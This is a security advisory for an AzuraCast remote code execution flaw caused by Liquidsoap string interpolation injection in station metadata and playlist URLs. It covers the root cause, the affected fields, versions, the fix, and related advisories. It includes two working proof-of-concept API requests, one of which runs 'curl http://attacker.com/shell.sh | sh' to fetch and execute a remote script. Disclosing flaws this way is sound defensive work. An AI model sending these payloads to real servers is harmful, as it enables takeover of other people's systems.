Vulnerability GHSA-93fx-5qgc-wr38

High Risk
HIGH RISK
CVSS Score: 8.7
Score Range: 7.0–8.9
High severity vulnerabilities (CVSS 7.0–8.9). Serious vulnerabilities that should be prioritized soon after critical fixes.
6 months ago
March 09, 2026 at 07:55 PM UTC
AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs
0.3.1 - 0.9.4 and 0.9.4.1 and 0.9.4.2 - 0.9.5 and 0.9.5.1 - 0.9.6 and 0.9.6.1 and 0.9.6.2 and 0.9.6.5 - 0.9.7 and 0.9.7.1 - 0.9.8 and 0.9.8.1 - 0.23.3
0.3.1 - 0.9.4 and 0.9.4.1 and 0.9.4.2 - 0.9.5 and 0.9.5.1 - 0.9.6 and 0.9.6.1 and 0.9.6.2 and 0.9.6.5 - 0.9.7 and 0.9.7.1 - 0.9.8 and 0.9.8.1 - 0.23.3

Summary

AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs

Details

Summary

AzuraCast's ConfigWriter::cleanUpString() method fails to sanitize Liquidsoap string interpolation sequences (#{...}), allowing authenticated users with StationPermissions::Media or StationPermissions::Profile permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, #{...} expressions are evaluated, enabling arbitrary command execution via Liquidsoap's process.run() function.

Root Cause

File: backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php, line ~1345

public static function cleanUpString(?string $string): string
{
    return str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? '');
}

This function only replaces " with ' and strips newlines. It does NOT filter:

  • #{...} — Liquidsoap string interpolation (evaluated as code inside double-quoted strings)
  • \ — Backslash escape character

Liquidsoap, like Ruby, evaluates #{expression} inside double-quoted strings. process.run() in Liquidsoap executes shell commands.

Injection Points

All user-controllable fields that pass through cleanUpString() and are embedded in double-quoted strings in the .liq config:

Field Permission Required Config Line
playlist.remote_url Media input.http("...") or playlist("...")
station.name Profile name = "..."
station.description Profile description = "..."
station.genre Profile genre = "..."
station.url Profile url = "..."
backend_config.live_broadcast_text Profile settings.azuracast.live_broadcast_text := "..."
backend_config.dj_mount_point Profile input.harbor("...")

PoC 1: Via Remote Playlist URL (Media permission)

POST /api/station/1/playlists HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>

{
    "name": "Malicious Remote",
    "source": "remote_url",
    "remote_url": "http://x#{process.run('id > /tmp/pwned')}.example.com/stream",
    "remote_type": "stream",
    "is_enabled": true
}

The generated liquidsoap.liq will contain:

mksafe(buffer(buffer=5., input.http("http://x#{process.run('id > /tmp/pwned')}.example.com/stream")))

When Liquidsoap parses this, process.run('id > /tmp/pwned') executes as the azuracast user.

PoC 2: Via Station Description (Profile permission)

PUT /api/station/1/profile/edit HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_PROFILE_PERMISSION>

{
    "name": "My Station",
    "description": "#{process.run('curl http://attacker.com/shell.sh | sh')}"
}

Generates:

description = "#{process.run('curl http://attacker.com/shell.sh | sh')}"

Trigger Condition

The injection fires when the station is restarted, which happens during:

  • Normal station restart by any user with Broadcasting permission
  • System updates and maintenance
  • azuracast:radio:restart CLI command
  • Docker container restarts

Impact

  • Severity: Critical
  • Authentication: Required — any station-level user with Media or Profile permission
  • Impact: Full RCE on the AzuraCast server as the azuracast user
  • CWE: CWE-94 (Code Injection)

Recommended Fix

Update cleanUpString() to escape # and \:

public static function cleanUpString(?string $string): string
{
    return str_replace(
        ['"', "\n", "\r", '\\', '#'],
        ['\'', '', '', '\\\\', '\\#'],
        $string ?? ''
    );
}

Related Vulnerabilities

Other vulnerabilities affecting the same packages

High Risk
4 months ago
AzuraCast Vulnerable to Liquidsoap Code Injection via Incomplete cleanUpString-to-toRawString Migration in Remote Relay Password Field
0.3.1 - 0.9.4 and 0.9.4.1 and 0.9.4.2 - 0.9.5 and 0.9.5.1 - 0.9.6 and 0.9.6.1 and 0.9.6.2 and 0.9.6.5 - 0.9.7 and 0.9.7.1 - 0.9.8 and 0.9.8.1 - 0.23.5 GHSA-q4ph-8x8g-95f8
0.3.1 - 0.9.4 and 0.9.4.1 and 0.9.4.2 - 0.9.5 and 0.9.5.1 - 0.9.6 and 0.9.6.1 and 0.9.6.2 and 0.9.6.5 - 0.9.7 and 0.9.7.1 - 0.9.8 and 0.9.8.1 - 0.23.5 GHSA-q4ph-8x8g-95f8
Medium Risk
4 months ago
AzuraCast has Missing Permissions Check on Media File Download, Allowing Cross-Station Data Exfiltration
0.3.1 - 0.9.4 and 0.9.4.1 and 0.9.4.2 - 0.9.5 and 0.9.5.1 - 0.9.6 and 0.9.6.1 and 0.9.6.2 and 0.9.6.5 - 0.9.7 and 0.9.7.1 - 0.9.8 and 0.9.8.1 - 0.23.5 GHSA-qff7-q5fm-8p76
0.3.1 - 0.9.4 and 0.9.4.1 and 0.9.4.2 - 0.9.5 and 0.9.5.1 - 0.9.6 and 0.9.6.1 and 0.9.6.2 and 0.9.6.5 - 0.9.7 and 0.9.7.1 - 0.9.8 and 0.9.8.1 - 0.23.5 GHSA-qff7-q5fm-8p76
Medium Risk
4 months ago
AzuraCast's Missing RequireInternalConnection on Liquidsoap API Allows Low-Privilege Metadata Injection and Broadcast Disruption
0.3.1 - 0.9.4 and 0.9.4.1 and 0.9.4.2 - 0.9.5 and 0.9.5.1 - 0.9.6 and 0.9.6.1 and 0.9.6.2 and 0.9.6.5 - 0.9.7 and 0.9.7.1 - 0.9.8 and 0.9.8.1 - 0.23.5 GHSA-4fm3-ggg2-c6qx
0.3.1 - 0.9.4 and 0.9.4.1 and 0.9.4.2 - 0.9.5 and 0.9.5.1 - 0.9.6 and 0.9.6.1 and 0.9.6.2 and 0.9.6.5 - 0.9.7 and 0.9.7.1 - 0.9.8 and 0.9.8.1 - 0.23.5 GHSA-4fm3-ggg2-c6qx
High Risk
4 months ago
AzuraCast has Password Reset Poisoning via Untrusted X-Forwarded-Host Header that Leads to Account Takeover and 2FA Bypass
0.3.1 - 0.9.4 and 0.9.4.1 and 0.9.4.2 - 0.9.5 and 0.9.5.1 - 0.9.6 and 0.9.6.1 and 0.9.6.2 and 0.9.6.5 - 0.9.7 and 0.9.7.1 - 0.9.8 and 0.9.8.1 - 0.23.5 GHSA-gv7r-3mr9-h5x8
0.3.1 - 0.9.4 and 0.9.4.1 and 0.9.4.2 - 0.9.5 and 0.9.5.1 - 0.9.6 and 0.9.6.1 and 0.9.6.2 and 0.9.6.5 - 0.9.7 and 0.9.7.1 - 0.9.8 and 0.9.8.1 - 0.23.5 GHSA-gv7r-3mr9-h5x8
High Risk
4 months ago
AzuraCast has Path Traversal in `currentDirectory` Parameter that Enables Remote Code Execution via Media Upload
0.3.1 - 0.9.4 and 0.9.4.1 and 0.9.4.2 - 0.9.5 and 0.9.5.1 - 0.9.6 and 0.9.6.1 and 0.9.6.2 and 0.9.6.5 - 0.9.7 and 0.9.7.1 - 0.9.8 and 0.9.8.1 - 0.23.5 GHSA-vp2f-cqqp-478j
0.3.1 - 0.9.4 and 0.9.4.1 and 0.9.4.2 - 0.9.5 and 0.9.5.1 - 0.9.6 and 0.9.6.1 and 0.9.6.2 and 0.9.6.5 - 0.9.7 and 0.9.7.1 - 0.9.8 and 0.9.8.1 - 0.23.5 GHSA-vp2f-cqqp-478j
View all vulnerabilities for these packages

Impacted packages

Timeline

Published
6 months ago
March 09, 2026 at 07:55 PM UTC
Fixed (0.23.4)
6 months ago
March 08, 2026 at 04:01 AM UTC
Last Modified
1 day ago
September 27, 2026 at 11:56 AM UTC